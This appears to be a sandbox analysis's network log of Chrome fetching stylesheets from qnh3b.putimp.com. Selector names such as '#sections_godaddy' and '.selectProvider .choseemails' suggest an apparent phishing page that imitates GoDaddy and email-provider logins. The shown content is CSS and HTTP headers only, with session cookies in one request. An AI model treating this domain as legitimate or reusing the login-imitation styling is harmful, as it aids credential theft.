2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 62 67 5f 67 72 61 64 69 61 6e 69 6e 66 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: ;display:flex;justify-content:center;align-content:center;z-index:100001}#sections_pdf .bg_gradianinfo{background:rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 67 69 6e 32 22 20 22 73 70 61 63 65 6c 6f 67 69 6e 31 22 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 62 6f 78 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 Data Ascii: gin2" "spacelogin1";justify-content:center;overflow:hidden;line-height:1.5}#sections_pdf .login .sidebox{align-items:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333i
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c Data Ascii: }#sections_pdf .login .selectProvider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{col
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 66 6f 72 6d 7b 74 6f 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 Data Ascii: {opacity:.4;pointer-events:none}}@keyframes fadeinform{to{opacity:.4;pointer-events:none}}@keyframes fadeoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 6e 2d 64 65 6c 61 79 3a 2e 32 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 33 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 33 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d Data Ascii: n-delay:.2s}#sections .loading-container.loading .dot-floating:nth-child(3){animation-delay:.35s}#sections .loading-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 2e 32 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 36 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 2e 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 20 36 70 78 20 30 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 23 36 36 36 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 30 20 31 70 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 Data Ascii: .2);box-shadow:0 2px 6px rgba(0,0,0,.2)}.input{padding:6px 10px 6px 0;border:2px solid #666;border-width:0 0 1px;height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=ema
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 6c 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 Data Ascii: l:first-child{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:last-child{border-bottom-left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49779	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	1396	OUT	GET /absIDHZ3sTrsARG5gh30 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="absIDHZ3sTrsARG5gh30" Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fc7SuScmNSm4rXnDxf4JOE59eLvFdKRwNi%2F2BwFA2N%2B2gWzDBe86OmJJNwpO7S6qAvhyvDr8Pq1Egi%2B95%2BlldHoH1gonagfo1pS7CqMKOe3n%2FvqhO%2BkMr0GG2x0qbA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b28aa12da-ATL
2024-04-16 19:40:09 UTC	608	IN	Data Raw: 37 63 39 38 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 7c98@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 68 65 72 70 61 2d 76 66 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 31 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 Data Ascii: herpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2')
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 6c 69 67 6e 3a 20 75 6e 73 65 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 Data Ascii: lign: unset;}#sections_godaddy .ux-button { --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,und
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 Data Ascii: uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--inline:not(:empty) { padding-inline: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padd
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 Data Ascii: var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize2: calc(var(--uxText--fontSize1) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,*) var(--ux-7s4p3v,1.125)); --uxText--f
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 66 69 65 6c 64 2c 20 2e 75 78 2d 74 65 78 74 2d 65 6e 74 72 79 2d 73 75 67 67 65 73 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 73 76 67 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 Data Ascii: field, .ux-text-entry-suggestion { font-family: gdsherpa; font-weight: 500;}#sections_godaddy .ux-alert svg { color: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 65 6e 64 20 7b 0d 0a 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 66 6c 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 Data Ascii: flex-direction: row!important;}#sections_godaddy .justify-content-end { justify-content: flex-end!important;}#sections_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 62 75 74 74 6f 6e 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 20 7b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 Data Ascii: daddy button,html [type=button] { -webkit-appearance: button;}#sections_godaddy input[type=checkbox] { box-sizing: border-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-ri
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6c 65 79 6e 73 6d 2c 23 30 30 30 29 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 Data Ascii: der-radius: var(--ux-2jubes,2px); margin: 0 0 calc(var(--ux-1sbfig8,.25rem) * 5); color: var(--ux-1leynsm,#000); border: 1px solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem)
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 39 69 32 2c 23 66 66 66 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 61 63 74 69 76 65 20 7b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 6f 37 6a 75 30 68 2c 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 Data Ascii: 9i2,#fff));}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):active { background-color: var(--ux-o7ju0h,var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49774	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
